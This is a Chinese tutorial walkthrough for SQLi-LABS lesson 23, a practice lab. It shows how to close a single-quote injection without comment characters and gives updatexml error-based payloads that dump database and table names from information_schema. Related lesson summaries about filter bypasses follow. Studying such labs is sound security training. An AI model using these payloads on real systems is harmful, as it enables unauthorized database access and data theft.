SQLi LABS Less-23

简介: 第23关使用GET请求传递参数,在url地址栏构造payload即可此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立

第23关使用GET请求传递参数,在url地址栏构造payload即可


此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立


image.png

在url中输入payload ?id=1' and '1,登录成功;而输入 ?id=1' and '0,登录失败;可见SQL恒成立时查询成功,SQL恒不成立时查询失败,即存在SQL注入,注入点为单引号字符型注入


源码中的SQL是这样的


image.png


我们输入 1' and '1 时,SQL变成了下面这样


image.png


and后面的'1'会转成true,也就是这样,从而使SQL语句恒成立,能够正常查询到数据



image.png



当我们输入 1' and '0 时,SQL变成了下面这样


image.png


and后面的'0'会转换成false,也就是下面这样,使SQL恒不成立,也就不能正常查询出数据

image.png

确定了注入点后,我们使用报错注入进行脱库,输入payload

1' and updatexml(1,concat(0x7e,
(select group_concat(schema_name) from information_schema.schemata)
),1) and '1

image.png

然后是脱表

1' and updatexml(1,concat(0x7e,
(select group_concat(table_name) 
from information_schema.tables where table_schema='security')
),1) and '1

image.png

相关文章
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
308 0
SQLi LABS Less-26a
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
254 0
SQLi LABS Less-26
SQLi LABS Less-25a
第25a关使用GET请求传递参数,在url地址栏中构造payload即可 后端源码中过滤了and和or,但只过滤了一次,我们可以通过双写绕过
210 0
SQLi LABS Less-25a
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
134 0
SQLi LABS Less-30
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
154 0
SQLi LABS Less-21
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
170 0
SQLi LABS Less-27a
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
207 0
SQLi LABS Less-29
SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号
148 0
SQLi LABS Less-31
|
SQL 安全 数据库
SQLi LABS Less-18
第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入 第一步,判断注入方式
183 0
SQLi LABS Less-18
|
SQL 存储 安全
SQLi LABS Less-39
第三十九关请求方式为GET请求 , 注入类型为 整形注入 第一步,判断注入类型
105 0
SQLi LABS Less-39